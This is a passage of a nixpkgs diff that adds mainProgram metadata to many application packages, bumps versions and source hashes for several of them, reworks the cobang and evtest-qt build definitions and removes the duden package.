-66,6 +66,7 @@ stdenvNoCC.mkDerivation rec { maintainers = teams.wdz.members; license = licenses.mit; inherit (electron.meta) platforms; + mainProgram = "camunda-modeler"; }; } diff --git a/pkgs/applications/misc/cardpeek/default.nix b/pkgs/applications/misc/cardpeek/default.nix index adabcdac9542d..4cf13498be942 100644 --- a/pkgs/applications/misc/cardpeek/default.nix +++ b/pkgs/applications/misc/cardpeek/default.nix @@ -46,5 +46,6 @@ stdenv.mkDerivation { license = licenses.gpl3Plus; platforms = with platforms; linux ++ darwin; maintainers = with maintainers; [ embr ]; + mainProgram = "cardpeek"; }; } diff --git a/pkgs/applications/misc/cartridges/default.nix b/pkgs/applications/misc/cartridges/default.nix index c0ed598b653ad..d90be2bc101cc 100644 --- a/pkgs/applications/misc/cartridges/default.nix +++ b/pkgs/applications/misc/cartridges/default.nix @@ -13,13 +13,13 @@ }: stdenv.mkDerivation (finalAttrs: { pname = "cartridges"; - version = "2.7.2"; + version = "2.7.4"; src = fetchFromGitHub { owner = "kra-mo"; repo = "cartridges"; rev = "v${finalAttrs.version}"; - hash = "sha256-+18TWtxKT87CZ8vTtYac9aQ0wIbhJEXbXFZrSj5BmjI="; + hash = "sha256-AfO+vLJSWdaMqqbzRZWrY94nu/9BM7mqdad9rkiq1pg="; }; pythonPath = with python3Packages; [ @@ -29,6 +29,9 @@ stdenv.mkDerivation (finalAttrs: { requests ]; + # TODO: remove this when #286814 hits master + mesonFlags = [ "-Dtiff_compression=jpeg" ]; + buildInputs = [ libadwaita (python3Packages.python.withPackages (_: finalAttrs.pythonPath)) diff --git a/pkgs/applications/misc/charm/default.nix b/pkgs/applications/misc/charm/default.nix index eac305bd399e6..bf3520d4634e1 100644 --- a/pkgs/applications/misc/charm/default.nix +++ b/pkgs/applications/misc/charm/default.nix @@ -21,5 +21,6 @@ buildGoModule rec { changelog = "https://github.com/charmbracelet/charm/releases/tag/v${version}"; license = licenses.mit; maintainers = with maintainers; [ penguwin ]; + mainProgram = "charm"; }; } diff --git a/pkgs/applications/misc/cheat/default.nix b/pkgs/applications/misc/cheat/default.nix index da39da86ef7b8..ef8780f1e88b5 100644 --- a/pkgs/applications/misc/cheat/default.nix +++ b/pkgs/applications/misc/cheat/default.nix @@ -30,5 +30,6 @@ buildGoModule rec { maintainers = with maintainers; [ mic92 ]; license = with licenses; [ gpl3 mit ]; inherit (src.meta) homepage; + mainProgram = "cheat"; }; } diff --git a/pkgs/applications/misc/clight/default.nix b/pkgs/applications/misc/clight/default.nix index e198bdc9fc728..3adff5c628878 100644 --- a/pkgs/applications/misc/clight/default.nix +++ b/pkgs/applications/misc/clight/default.nix @@ -48,5 +48,6 @@ stdenv.mkDerivation rec { maintainers = with maintainers; [ eadwu ]; + mainProgram = "clight"; }; } diff --git a/pkgs/applications/misc/clipit/default.nix b/pkgs/applications/misc/clipit/default.nix index fafcf3d544040..b40bc4fec9303 100644 --- a/pkgs/applications/misc/clipit/default.nix +++ b/pkgs/applications/misc/clipit/default.nix @@ -28,8 +28,9 @@ stdenv.mkDerivation rec { meta = with lib; { description = "Lightweight GTK Clipboard Manager"; inherit (src.meta) homepage; - license = licenses.gpl3; + license = licenses.gpl3Plus; platforms = platforms.linux; + mainProgram = "clipit"; maintainers = with maintainers; [ kamilchm ]; }; } diff --git a/pkgs/applications/misc/clipqr/default.nix b/pkgs/applications/misc/clipqr/default.nix index d9265b2d1135a..8bbfcc6d42094 100644 --- a/pkgs/applications/misc/clipqr/default.nix +++ b/pkgs/applications/misc/clipqr/default.nix @@ -68,5 +68,6 @@ buildGoModule rec { maintainers = with maintainers; [ MatthieuBarthel ]; homepage = "https://gitlab.com/imatt-foss/clipqr"; broken = stdenv.isDarwin; + mainProgram = "clipqr"; }; } diff --git a/pkgs/applications/misc/cloak/default.nix b/pkgs/applications/misc/cloak/default.nix index 7c362961b4be2..bf3dd3c4a0818 100644 --- a/pkgs/applications/misc/cloak/default.nix +++ b/pkgs/applications/misc/cloak/default.nix @@ -20,5 +20,6 @@ rustPlatform.buildRustPackage rec { description = "Command-line OTP authenticator application"; license = licenses.mit; maintainers = with maintainers; [ mvs ]; + mainProgram = "cloak"; }; } diff --git a/pkgs/applications/misc/cmatrix/default.nix b/pkgs/applications/misc/cmatrix/default.nix index 8008edf099692..7aca6851df217 100644 --- a/pkgs/applications/misc/cmatrix/default.nix +++ b/pkgs/applications/misc/cmatrix/default.nix @@ -24,5 +24,6 @@ stdenv.mkDerivation rec { homepage = "https://github.com/abishekvashok/cmatrix"; platforms = ncurses.meta.platforms; maintainers = [ maintainers.AndersonTorres ]; + mainProgram = "cmatrix"; }; } diff --git a/pkgs/applications/misc/cobalt/default.nix b/pkgs/applications/misc/cobalt/default.nix index 0cdd77b4293c0..e35939536a614 100644 --- a/pkgs/applications/misc/cobalt/default.nix +++ b/pkgs/applications/misc/cobalt/default.nix @@ -2,16 +2,16 @@ rustPlatform.buildRustPackage rec { pname = "cobalt"; - version = "0.19.0"; + version = "0.19.2"; src = fetchFromGitHub { owner = "cobalt-org"; repo = "cobalt.rs"; rev = "v${version}"; - sha256 = "sha256-cW9Pj4dTBZ0UmHvrWpx0SREBBaEIb2aaX2cdCUdlFLw="; + sha256 = "sha256-W0XbNZDSeSK6oxOD1JeLNF+c6/6cy/WQrrmQbSKeqk4="; }; - cargoHash = "sha256-/xkZuGyinQdUGWix/SRtJMJ5nmpXJu39/LxJoTHnT4Q="; + cargoHash = "sha256-IM2SKovb8FYwA/c4R3N7M+oVuGfuc5sK+r6FP9YMk+I="; buildInputs = lib.optionals stdenv.isDarwin [ CoreServices ]; @@ -21,5 +21,6 @@ rustPlatform.buildRustPackage rec { license = licenses.mit; maintainers = with maintainers; [ ethancedwards8 ]; platforms = platforms.unix; + mainProgram = "cobalt"; }; } diff --git a/pkgs/applications/misc/cobang/default.nix b/pkgs/applications/misc/cobang/default.nix index d3d203b6ae016..e36ece60d751c 100644 --- a/pkgs/applications/misc/cobang/default.nix +++ b/pkgs/applications/misc/cobang/default.nix @@ -1,72 +1,72 @@ { lib -, atk , buildPythonApplication , fetchFromGitHub -, gdk-pixbuf -, gobject-introspection -, gst-plugins-good +, brotlicffi , gst-python -, gtk3 , kiss-headers -, libhandy -, librsvg , logbook -, networkmanager -, pango , pillow -, poetry-core , pygobject3 -, pytestCheckHook -, python , python-zbar -, pythonRelaxDepsHook , requests , single-version +, gobject-introspection +, gst-plugins-good +, gtk3 +, libhandy +, librsvg +, networkmanager +, setuptools +, python +, pytestCheckHook , wrapGAppsHook }: buildPythonApplication rec { pname = "cobang"; - version = "0.10.1"; - format = "pyproject"; + version = "0.10.5"; + pyproject = true; src = fetchFromGitHub { owner = "hongquan"; repo = "CoBang"; rev = "refs/tags/v${version}"; - hash = "sha256-yNDnBTBmwcP3g51UkkLNyF4eHYjblwxPxS2lMwbFKUM="; + hash = "sha256-CfT/farNOJiWIioFBPx2q7bAFAE4khcojdZ7AsYaU6o="; }; - pythonRelaxDeps = [ - "logbook" - "Pillow" - ]; + postPatch = '' + # Fixes "Multiple top-level packages discovered in a flat-layout" + sed -i '$ a\[tool.setuptools]' pyproject.toml + sed -i '$ a\packages = ["cobang"]' pyproject.toml + ''; nativeBuildInputs = [ + # Needed to recognize gobject namespaces gobject-introspection - pythonRelaxDepsHook wrapGAppsHook + setuptools ]; buildInputs = [ - atk - gdk-pixbuf + # Requires v4l2src gst-plugins-good + # For gobject namespaces libhandy networkmanager - pango ]; propagatedBuildInputs = [ - gst-python + brotlicffi kiss-headers logbook pillow - poetry-core - pygobject3 - python-zbar requests single-version + # Unlisted dependencies + pygobject3 + python-zbar + # Needed as a gobject namespace and to fix 'Caps' object is not subscriptable + gst-python ]; nativeCheckInputs = [ @@ -82,9 +82,8 @@ buildPythonApplication rec { # Icons and applications install -Dm 644 $out/${python.sitePackages}/data/vn.hoabinh.quan.CoBang.svg -t $out/share/pixmaps/ - install -Dm 644 $out/${python.sitePackages}/data/vn.hoabinh.quan.CoBang.desktop -t $out/share/applications/ - substituteInPlace $out/share/applications/vn.hoabinh.quan.CoBang.desktop \ - --replace "Exec=" "Exec=$out/bin/" + install -Dm 644 $out/${python.sitePackages}/data/vn.hoabinh.quan.CoBang.desktop.in -t $out/share/applications/ + mv $out/${python.sitePackages}/data/vn.hoabinh.quan.CoBang.desktop{.in,} ''; preFixup = '' @@ -99,6 +98,7 @@ buildPythonApplication rec { homepage = "https://github.com/hongquan/CoBang"; license = licenses.gpl3Only; maintainers = with maintainers; [ wolfangaukang ]; + mainProgram = "cobang"; platforms = [ "x86_64-linux" ]; }; } diff --git a/pkgs/applications/misc/cointop/default.nix b/pkgs/applications/misc/cointop/default.nix index 6e22b443a573b..16a59b2fdb710 100644 --- a/pkgs/applications/misc/cointop/default.nix +++ b/pkgs/applications/misc/cointop/default.nix @@ -27,5 +27,6 @@ buildGoModule rec { homepage = "https://cointop.sh"; maintainers = [ maintainers.marsam ]; license = licenses.asl20; + mainProgram = "cointop"; }; } diff --git a/pkgs/applications/misc/colorstorm/default.nix b/pkgs/applications/misc/colorstorm/default.nix index 0f78510aa2f6b..ddb429dae33f7 100644 --- a/pkgs/applications/misc/colorstorm/default.nix +++ b/pkgs/applications/misc/colorstorm/default.nix @@ -25,5 +25,6 @@ stdenv.mkDerivation (finalAttrs: { license = lib.licenses.mit; maintainers = with lib.maintainers; [ ]; inherit (zig_0_9.meta) platforms; + mainProgram = "colorstorm"; }; }) diff --git a/pkgs/applications/misc/colort/default.nix b/pkgs/applications/misc/colort/default.nix index 7a1ae7a9e2f45..2716e2d464bcf 100644 --- a/pkgs/applications/misc/colort/default.nix +++ b/pkgs/applications/misc/colort/default.nix @@ -19,5 +19,6 @@ stdenv.mkDerivation { license = licenses.mit; platforms = platforms.all; maintainers = [ maintainers.neeasade ]; + mainProgram = "colort"; }; } diff --git a/pkgs/applications/misc/coltrane/default.nix b/pkgs/applications/misc/coltrane/default.nix index 81d095160e072..5d77f8dd6d567 100644 --- a/pkgs/applications/misc/coltrane/default.nix +++ b/pkgs/applications/misc/coltrane/default.nix @@ -19,5 +19,6 @@ bundlerApp rec { ''; license = licenses.mit; maintainers = [ maintainers.panaeon ]; + mainProgram = "coltrane"; }; } diff --git a/pkgs/applications/misc/comodoro/default.nix b/pkgs/applications/misc/comodoro/default.nix index f03b27ea51cac..2d780d5d514b6 100644 --- a/pkgs/applications/misc/comodoro/default.nix +++ b/pkgs/applications/misc/comodoro/default.nix @@ -43,5 +43,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/soywod/comodoro/blob/v${version}/CHANGELOG.md"; license = licenses.mit; maintainers = with maintainers; [ soywod ]; + mainProgram = "comodoro"; }; } diff --git a/pkgs/applications/misc/confetty/default.nix b/pkgs/applications/misc/confetty/default.nix index 77269ef853541..a9e838c84b014 100644 --- a/pkgs/applications/misc/confetty/default.nix +++ b/pkgs/applications/misc/confetty/default.nix @@ -23,5 +23,6 @@ buildGoModule { homepage = "https://github.com/maaslalani/confetty"; license = licenses.mit; maintainers = with maintainers; [ figsoda ]; + mainProgram = "confetty"; }; } diff --git a/pkgs/applications/misc/cotp/default.nix b/pkgs/applications/misc/cotp/default.nix index 054823b86f2a3..824b4353b35fd 100644 --- a/pkgs/applications/misc/cotp/default.nix +++ b/pkgs/applications/misc/cotp/default.nix @@ -8,16 +8,16 @@ rustPlatform.buildRustPackage rec { pname = "cotp"; - version = "1.3.0"; + version = "1.4.5"; src = fetchFromGitHub { owner = "replydev"; repo = "cotp"; rev = "v${version}"; - hash = "sha256-IGk7akmHGQXLHfCCq6GXOIUnh63/sE2Ds+8H91uMKnw="; + hash = "sha256-q0SI/y4pSNoU+4aQzpkUNioqrxmLxiA2GD1pmyLUISw="; }; - cargoHash = "sha256-2SD62zlWck+DPFs8bQipd8G09134L6LotrzfAiM1Pc8="; + cargoHash = "sha256-pwhihmrFzb7y4ztXnzJVeMbo5VBoyjJTEDh5ogECLrA="; buildInputs = lib.optionals stdenv.isLinux [ libxcb ] ++ lib.optionals stdenv.isDarwin [ AppKit ]; @@ -27,5 +27,6 @@ rustPlatform.buildRustPackage rec { description = "Trustworthy, encrypted, command-line TOTP/HOTP authenticator app with import functionality"; license = licenses.gpl3Only; maintainers = with maintainers; [ davsanchez ]; + mainProgram = "cotp"; }; } diff --git a/pkgs/applications/misc/crumbs/default.nix b/pkgs/applications/misc/crumbs/default.nix index 5bb4220581687..7dbcf74faf7ec 100644 --- a/pkgs/applications/misc/crumbs/default.nix +++ b/pkgs/applications/misc/crumbs/default.nix @@ -29,5 +29,6 @@ stdenv.mkDerivation rec { license = licenses.wtfpl; platforms = platforms.all; maintainers = with maintainers; [ thesola10 ]; + mainProgram = "crumbs"; }; } diff --git a/pkgs/applications/misc/ctodo/default.nix b/pkgs/applications/misc/ctodo/default.nix index 224a79881e043..315d5ffc34cf5 100644 --- a/pkgs/applications/misc/ctodo/default.nix +++ b/pkgs/applications/misc/ctodo/default.nix @@ -20,5 +20,6 @@ stdenv.mkDerivation rec { license = licenses.mit; maintainers = [ maintainers.matthiasbeyer ]; platforms = platforms.unix; + mainProgram = "ctodo"; }; } diff --git a/pkgs/applications/misc/cubiomes-viewer/default.nix b/pkgs/applications/misc/cubiomes-viewer/default.nix index 3600680782d4a..dd4486f9b9886 100644 --- a/pkgs/applications/misc/cubiomes-viewer/default.nix +++ b/pkgs/applications/misc/cubiomes-viewer/default.nix @@ -9,13 +9,13 @@ stdenv.mkDerivation rec { pname = "cubiomes-viewer"; - version = "3.4.2"; + version = "4.0.1"; src = fetchFromGitHub { owner = "Cubitect"; repo = pname; rev = version; - sha256 = "sha256-bZXsCRT2qBq7N3h2C7WQDDoQsJGlz3rDT7OZ0fUGtiI="; + sha256 = "sha256-UUvNSTM98r8D/Q+/pPTXwGzW4Sl1qhgem4WsFRfybuo="; fetchSubmodules = true; }; diff --git a/pkgs/applications/misc/curaengine/default.nix b/pkgs/applications/misc/curaengine/default.nix index 2abe82913a4e2..1155ce8e8e8e1 100644 --- a/pkgs/applications/misc/curaengine/default.nix +++ b/pkgs/applications/misc/curaengine/default.nix @@ -31,5 +31,6 @@ stdenv.mkDerivation rec { license = licenses.agpl3Only; platforms = platforms.linux; maintainers = with maintainers; [ abbradar gebner ]; + mainProgram = "CuraEngine"; }; } diff --git a/pkgs/applications/misc/dasel/default.nix b/pkgs/applications/misc/dasel/default.nix index fb954cef5c658..75ffbb9080bdf 100644 --- a/pkgs/applications/misc/dasel/default.nix +++ b/pkgs/applications/misc/dasel/default.nix @@ -6,16 +6,16 @@ buildGoModule rec { pname = "dasel"; - version = "2.5.0"; + version = "2.6.0"; src = fetchFromGitHub { owner = "TomWright"; repo = "dasel"; rev = "v${version}"; - hash = "sha256-frd4jNn5uruz9oX40ly/AR5I/uKRIfQ8IjOlIvlsOlY="; + hash = "sha256-4SINZXjTILJDmjv6ubuAhBzBmrXY0gJ0huNM3Y0O7Go="; }; - vendorHash = "sha256-B3d+pbk0smBXqcJnac5he0TZPLiT1cLtz02OAGfqhC0="; + vendorHash = "sha256-G9IdTMF5Lnwq38rdJtuvUjD4RBaSmCYs3g+ETz29Mec="; ldflags = [ "-s" "-w" "-X github.com/tomwright/dasel/v2/internal.Version=${version}" diff --git a/pkgs/applications/misc/ddcui/default.nix b/pkgs/applications/misc/ddcui/default.nix index ffcd26afc9e5d..520c49d2159b9 100644 --- a/pkgs/applications/misc/ddcui/default.nix +++ b/pkgs/applications/misc/ddcui/default.nix @@ -10,13 +10,13 @@ mkDerivation rec { pname = "ddcui"; - version = "0.4.2"; + version = "0.5.4"; src = fetchFromGitHub { owner = "rockowitz"; repo = "ddcui"; rev = "v${version}"; - sha256 = "sha256-T4/c8K1P/o91DWJik/9HtHav948vbVa40qPdy7nKmos="; + sha256 = "sha256-/20gPMUTRhC58YFlblahOEdDHLVhbzwpU3n55NtLAcM="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/misc/ddgr/default.nix b/pkgs/applications/misc/ddgr/default.nix index 0e7800b9bbb32..04f27117f8e2d 100644 --- a/pkgs/applications/misc/ddgr/default.nix +++ b/pkgs/applications/misc/ddgr/default.nix @@ -29,5 +29,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3; maintainers = with maintainers; [ ceedubs markus1189 ]; platforms = python3.meta.platforms; + mainProgram = "ddgr"; }; } diff --git a/pkgs/applications/misc/deadd-notification-center/default.nix b/pkgs/applications/misc/deadd-notification-center/default.nix index edc1f8ba9e1c8..5551ebe1750f7 100644 --- a/pkgs/applications/misc/deadd-notification-center/default.nix +++ b/pkgs/applications/misc/deadd-notification-center/default.nix @@ -60,4 +60,5 @@ in mkDerivation rec { license = lib.licenses.bsd3; maintainers = with lib.maintainers; [ melkor333 sna ]; platforms = lib.platforms.linux; + mainProgram = "deadd-notification-center"; } diff --git a/pkgs/applications/misc/deco/default.nix b/pkgs/applications/misc/deco/default.nix index b19f3f38dac71..a39f6b4f0bad1 100644 --- a/pkgs/applications/misc/deco/default.nix +++ b/pkgs/applications/misc/deco/default.nix @@ -29,6 +29,7 @@ stdenv.mkDerivation rec { license = licenses.mit; maintainers = [ maintainers.ebzzry ]; platforms = platforms.unix; + mainProgram = "deco"; }; dontBuild = true; diff --git a/pkgs/applications/misc/devdocs-desktop/default.nix b/pkgs/applications/misc/devdocs-desktop/default.nix index 97ed9ed72962e..55fe2b9e2cf79 100644 --- a/pkgs/applications/misc/devdocs-desktop/default.nix +++ b/pkgs/applications/misc/devdocs-desktop/default.nix @@ -35,5 +35,6 @@ in appimageTools.wrapType2 rec { license = licenses.mit; maintainers = with maintainers; [ ymarkus ]; platforms = [ "x86_64-linux" ]; + mainProgram = "devdocs-desktop"; }; } diff --git a/pkgs/applications/misc/devilspie2/default.nix b/pkgs/applications/misc/devilspie2/default.nix index 581a8126cadad..8ea982f6059f9 100644 --- a/pkgs/applications/misc/devilspie2/default.nix +++ b/pkgs/applications/misc/devilspie2/default.nix @@ -31,5 +31,6 @@ stdenv.mkDerivation rec { license = licenses.gpl3; maintainers = [ maintainers.ebzzry ]; platforms = platforms.linux; + mainProgram = "devilspie2"; }; } diff --git a/pkgs/applications/misc/dialect/default.nix b/pkgs/applications/misc/dialect/default.nix index 519f12490f18a..8acaca4e26fc6 100644 --- a/pkgs/applications/misc/dialect/default.nix +++ b/pkgs/applications/misc/dialect/default.nix @@ -77,5 +77,6 @@ python3.pkgs.buildPythonApplication rec { maintainers = with maintainers; [ linsui ]; license = licenses.gpl3Plus; platforms = platforms.linux; + mainProgram = "dialect"; }; } diff --git a/pkgs/applications/misc/diebahn/default.nix b/pkgs/applications/misc/diebahn/default.nix index 7e07a05748ca5..a934f0349cd28 100644 --- a/pkgs/applications/misc/diebahn/default.nix +++ b/pkgs/applications/misc/diebahn/default.nix @@ -21,19 +21,19 @@ stdenv.mkDerivation rec { pname = "diebahn"; - version = "2.3.0"; + version = "2.4.0"; src = fetchFromGitLab { owner = "schmiddi-on-mobile"; repo = "railway"; rev = version; - hash = "sha256-o1WJJslZLg3UlMLmHDeEozsP8CmMU9e7MqONpIKuq80="; + hash = "sha256-2iLxErEP0OG+BcG7fvJBzNjh95EkNoC3NC7rKxPLhYk="; }; cargoDeps = rustPlatform.fetchCargoTarball { name = "${pname}-${src}"; inherit src; - hash = "sha256-/DSbkZev9A7TqRgnCop3PDd8vzSvyOevvl+pBCk1ri0="; + hash = "sha256-TyafdFWCaZgLEW2yVfm9+9kXRKoiyCAbRndcb7XCVdI="; }; nativeBuildInputs = [ diff --git a/pkgs/applications/misc/diff-pdf/default.nix b/pkgs/applications/misc/diff-pdf/default.nix index f88af3be27213..1d54b57c9b2f1 100644 --- a/pkgs/applications/misc/diff-pdf/default.nix +++ b/pkgs/applications/misc/diff-pdf/default.nix @@ -23,5 +23,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; platforms = platforms.all; maintainers = with maintainers; [ dtzWill ]; + mainProgram = "diff-pdf"; }; } diff --git a/pkgs/applications/misc/doctave/default.nix b/pkgs/applications/misc/doctave/default.nix index 454c6bea33156..3ebe50311d575 100644 --- a/pkgs/applications/misc/doctave/default.nix +++ b/pkgs/applications/misc/doctave/default.nix @@ -26,5 +26,6 @@ rustPlatform.buildRustPackage rec { changelog = "https://github.com/doctave/doctave/blob/${version}/CHANGELOG.md"; license = licenses.mit; maintainers = with maintainers; [ figsoda ]; + mainProgram = "doctave"; }; } diff --git a/pkgs/applications/misc/doing/default.nix b/pkgs/applications/misc/doing/default.nix index e539cf3ae19e3..c5114eccc77fd 100644 --- a/pkgs/applications/misc/doing/default.nix +++ b/pkgs/applications/misc/doing/default.nix @@ -21,5 +21,6 @@ bundlerEnv { license = licenses.mit; maintainers = with maintainers; [ ktf nicknovitski ]; platforms = platforms.unix; + mainProgram = "doing"; }; } diff --git a/pkgs/applications/misc/downonspot/default.nix b/pkgs/applications/misc/downonspot/default.nix index 23747102fecb4..5a7c6ce6933b2 100644 --- a/pkgs/applications/misc/downonspot/default.nix +++ b/pkgs/applications/misc/downonspot/default.nix @@ -41,5 +41,6 @@ rustPlatform.buildRustPackage rec { license = licenses.gpl3Only; platforms = platforms.linux; maintainers = with maintainers; [ onny ]; + mainProgram = "down_on_spot"; }; } diff --git a/pkgs/applications/misc/duden/default.nix b/pkgs/applications/misc/duden/default.nix deleted file mode 100644 index 0d310e8c23dcb..0000000000000 --- a/pkgs/applications/misc/duden/default.nix +++ /dev/null @@ -1,40 +0,0 @@ -{ lib -, python3 -, fetchFromGitHub -}: - -python3.pkgs.buildPythonPackage rec { - pname = "duden"; - version = "0.18.0"; - format = "pyproject"; - - src = fetchFromGitHub { - owner = "radomirbosak"; - repo = "duden"; - rev = version; - hash = "sha256-ZrarN09Znw4m6YiZxD7q7dTJ49WjmHDobLnOt8JCwvc="; - }; - - nativeBuildInputs = [ - python3.pkgs.poetry-core - ]; - - propagatedBuildInputs = with python3.pkgs; [ - beautifulsoup4 - crayons - pyxdg - pyyaml - requests - setuptools - ]; - - pythonImportsCheck = [ "duden" ]; - - meta = with lib; { - description = "CLI for http://duden.de dictionary written in Python"; - homepage = "https://github.com/radomirbosak/duden"; - changelog = "https://github.com/radomirbosak/duden/blob/${src.rev}/CHANGELOG.md"; - license = licenses.mit; - maintainers = with maintainers; [ ]; - }; -} diff --git a/pkgs/applications/misc/dwmbar/default.nix b/pkgs/applications/misc/dwmbar/default.nix index 5559f4a6e5af0..0d942eff73d7a 100644 --- a/pkgs/applications/misc/dwmbar/default.nix +++ b/pkgs/applications/misc/dwmbar/default.nix @@ -33,5 +33,6 @@ stdenv.mkDerivation { license = licenses.gpl3Plus; maintainers = with maintainers; [ baitinq ]; platforms = platforms.linux; + mainProgram = "dwmbar"; }; } diff --git a/pkgs/applications/misc/dwmblocks/default.nix b/pkgs/applications/misc/dwmblocks/default.nix index c31a1a4b06301..0b7abc7e3dfce 100644 --- a/pkgs/applications/misc/dwmblocks/default.nix +++ b/pkgs/applications/misc/dwmblocks/default.nix @@ -31,5 +31,6 @@ stdenv.mkDerivation { license = licenses.isc; maintainers = with maintainers; [ sophrosyne ]; platforms = platforms.linux; + mainProgram = "dwmblocks"; }; } diff --git a/pkgs/applications/misc/effitask/default.nix b/pkgs/applications/misc/effitask/default.nix index 50172b9d1cb45..345f87d84a1cf 100644 --- a/pkgs/applications/misc/effitask/default.nix +++ b/pkgs/applications/misc/effitask/default.nix @@ -44,5 +44,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/sanpii/effitask"; maintainers = with maintainers; [ davidak ]; license = with licenses; [ mit ]; + mainProgram = "effitask"; }; } diff --git a/pkgs/applications/misc/electrum/default.nix b/pkgs/applications/misc/electrum/default.nix index 91820ce964dd2..986681d5a819f 100644 --- a/pkgs/applications/misc/electrum/default.nix +++ b/pkgs/applications/misc/electrum/default.nix @@ -12,7 +12,7 @@ }: let - version = "4.5.0"; + version = "4.5.3"; libsecp256k1_name = if stdenv.isLinux then "libsecp256k1.so.{v}" @@ -29,11 +29,11 @@ let owner = "spesmilo"; repo = "electrum"; rev = version; - sha256 = "sha256-IEKuHUlH+dg+8w+n7XV7hdDOPOFZ/lpUsIlYldwR44Y="; + sha256 = "sha256-Lr6ynHAbyaiaxYAWU5j5Wh5acxO5HkP1/jpnFrL4j68="; postFetch = '' mv $out ./all - mv ./all/electrum/tests $out + mv ./all/tests $out ''; }; @@ -45,12 +45,12 @@ python3.pkgs.buildPythonApplication { src = fetchurl { url = "https://download.electrum.org/${version}/Electrum-${version}.tar.gz"; - sha256 = "sha256-s4FH8FtPg4wepU/5XI062dAN9fCYR1xJGwrxftCSKzw="; + sha256 = "sha256-kej0msc7SB+51ad5xZrT8MMEY5rfYOGqum6RO1gBH5s="; }; postUnpack = '' # can't symlink, tests get confused - cp -ar ${tests} $sourceRoot/electrum/tests + cp -ar ${tests} $sourceRoot/tests ''; nativeBuildInputs = lib.optionals enableQt [ wrapQtAppsHook ]; @@ -85,6 +85,10 @@ python3.pkgs.buildPythonApplication { qdarkstyle ]; + checkInputs = with python3.pkgs; lib.optionals enableQt [ + pyqt6 + ]; + postPatch = '' # make compatible with protobuf4 by easing dependencies ... substituteInPlace ./contrib/requirements/requirements.txt \ @@ -115,7 +119,7 @@ python3.pkgs.buildPythonApplication { nativeCheckInputs = with python3.pkgs; [ pytestCheckHook pyaes pycryptodomex ]; - pytestFlagsArray = [ "electrum/tests" ]; + pytestFlagsArray = [ "tests" ]; postCheck = '' $out/bin/electrum help >/dev/null diff --git a/pkgs/applications/misc/electrum/ltc.nix b/pkgs/applications/misc/electrum/ltc.nix index 844a49974b8f2..9b0c63834cfbb 100644 --- a/pkgs/applications/misc/electrum/ltc.nix +++ b/pkgs/applications/misc/electrum/ltc.nix @@ -136,6 +136,6 @@ python3.pkgs.buildPythonApplication { homepage = "https://electrum-ltc.org/"; license = licenses.mit; platforms = platforms.all; - maintainers = with maintainers; [ lourkeur ]; + maintainers = with maintainers; [ bbjubjub ]; }; } diff --git a/pkgs/applications/misc/elfx86exts/default.nix b/pkgs/applications/misc/elfx86exts/default.nix index cf0711ca64e88..7e11d90f5d2ee 100644 --- a/pkgs/applications/misc/elfx86exts/default.nix +++ b/pkgs/applications/misc/elfx86exts/default.nix @@ -26,5 +26,6 @@ rustPlatform.buildRustPackage rec { homepage = "https://github.com/pkgw/elfx86exts"; maintainers = with maintainers; [ rmcgibbo ]; license = with licenses; [ mit ]; + mainProgram = "elfx86exts"; }; } diff --git a/pkgs/applications/misc/emem/default.nix b/pkgs/applications/misc/emem/default.nix index 77a8adc692571..ef429ac4c0845 100644 --- a/pkgs/applications/misc/emem/default.nix +++ b/pkgs/applications/misc/emem/default.nix @@ -35,5 +35,6 @@ EOF license = licenses.epl10; maintainers = [ maintainers.ebzzry ]; platforms = platforms.unix; + mainProgram = "emem"; }; } diff --git a/pkgs/applications/misc/epdfview/default.nix b/pkgs/applications/misc/epdfview/default.nix index 9eea30e74f86f..840165dcedee3 100644 --- a/pkgs/applications/misc/epdfview/default.nix +++ b/pkgs/applications/misc/epdfview/default.nix @@ -37,5 +37,6 @@ stdenv.mkDerivation rec { license = licenses.gpl2; maintainers = [ maintainers.astsmtl ]; platforms = platforms.linux; + mainProgram = "epdfview"; }; } diff --git a/pkgs/applications/misc/evtest-qt/default.nix b/pkgs/applications/misc/evtest-qt/default.nix index 86f2d00709237..9092fe99ff76d 100644 --- a/pkgs/applications/misc/evtest-qt/default.nix +++ b/pkgs/applications/misc/evtest-qt/default.nix @@ -1,20 +1,33 @@ -{ mkDerivation, lib, qtbase, cmake, fetchFromGitHub }: +{ mkDerivation, lib, qtbase, cmake, fetchFromGitHub, fetchpatch, unstableGitUpdater }: mkDerivation rec { pname = "evtest-qt"; - version = "0.2.0"; + version = "0.2.0-unstable-2023-09-13"; src = fetchFromGitHub { owner = "Grumbel"; repo = pname; - rev = "v${version}"; - sha256 = "1wfzkgq81764qzxgk0y5vvpxcrb3icvrr4dd4mj8njrqgbwmn0mw"; + rev = "fb087f4d3d51377790f1ff30681c48031bf23145"; + hash = "sha256-gE47x1J13YZUVyB0b4VRyESIVCm3GbOXp2bX0TP97UU="; + fetchSubmodules = true; }; + patches = [ + # Fix build against gcc-13: + # https://github.com/Grumbel/evtest-qt/pull/14 + (fetchpatch { + name = "gcc-13.patch"; + url = "https://github.com/Grumbel/evtest-qt/commit/975dedcfd60853bd329f34d48ce4740add8866eb.patch"; + hash = "sha256-gR/9oVhO4G9i7dn+CjvDAQN0KLXoX/fatpE0W3gXDc0="; + }) + ]; + nativeBuildInputs = [ cmake ]; buildInputs = [ qtbase ]; + passthru.updateScript = unstableGitUpdater {}; + meta = with lib; { description = "Simple input device tester for linux with Qt GUI"; homepage = "https://github.com/Grumbel/evtest-qt"; diff --git a/pkgs/applications/misc/evtest/default.nix b/pkgs/applications/misc/evtest/default.nix index 0e4a0f5be00e3..39f8ea8c0f837 100644 --- a/pkgs/applications/misc/evtest/default.nix +++ b/pkgs/applications/misc/evtest/default.nix @@ -18,5 +18,6 @@ stdenv.mkDerivation rec { license = lib.licenses.gpl2; platforms = platforms.linux; maintainers = [ maintainers.bjornfor ]; + mainProgram = "evtest"; }; } diff --git a/pkgs/applications/misc/exercism/default.nix b/pkgs/applications/misc/exercism/default.nix index aa54b29dab1c9..d91f359804049 100644 --- a/pkgs/applications/misc/exercism/default.nix +++ b/pkgs/applications/misc/exercism/default.nix @@ -2,16 +2,16 @@ buildGoModule rec { pname = "exercism"; - version = "3.2.0"; + version = "3.3.0"; src = fetchFromGitHub { owner = "exercism"; repo = "cli"; rev = "refs/tags/v${version}"; - hash = "sha256-+DXmbbs9oo667o5P0OVcfBMMIvyBzEAdbrq9i+U7p0k="; 